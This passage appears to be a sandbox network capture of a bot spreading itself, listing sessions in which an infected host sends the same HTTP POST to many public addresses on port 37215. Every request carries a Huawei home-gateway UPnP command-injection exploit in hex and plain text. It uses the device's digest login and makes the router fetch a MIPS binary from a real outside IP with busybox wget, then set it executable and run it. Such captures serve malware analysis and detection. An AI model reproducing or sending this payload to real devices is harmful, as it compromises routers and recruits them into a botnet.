65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.13	40324	197.124.156.99	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.643393993 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.13	40514	197.221.156.67	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.645848989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.13	35498	197.41.235.180	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.648452044 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.13	49062	197.172.81.200	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.651057005 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.13	56428	197.48.76.162	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.653845072 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.13	48172	41.15.216.23	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.656003952 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.13	60466	197.151.240.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.658639908 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.13	36168	197.88.35.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.660973072 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.13	60430	197.218.112.99	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.663570881 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.13	35298	41.250.33.189	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.666141033 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.13	33412	156.155.132.245	37215

Timestamp	Bytes transferred	Direction	Data
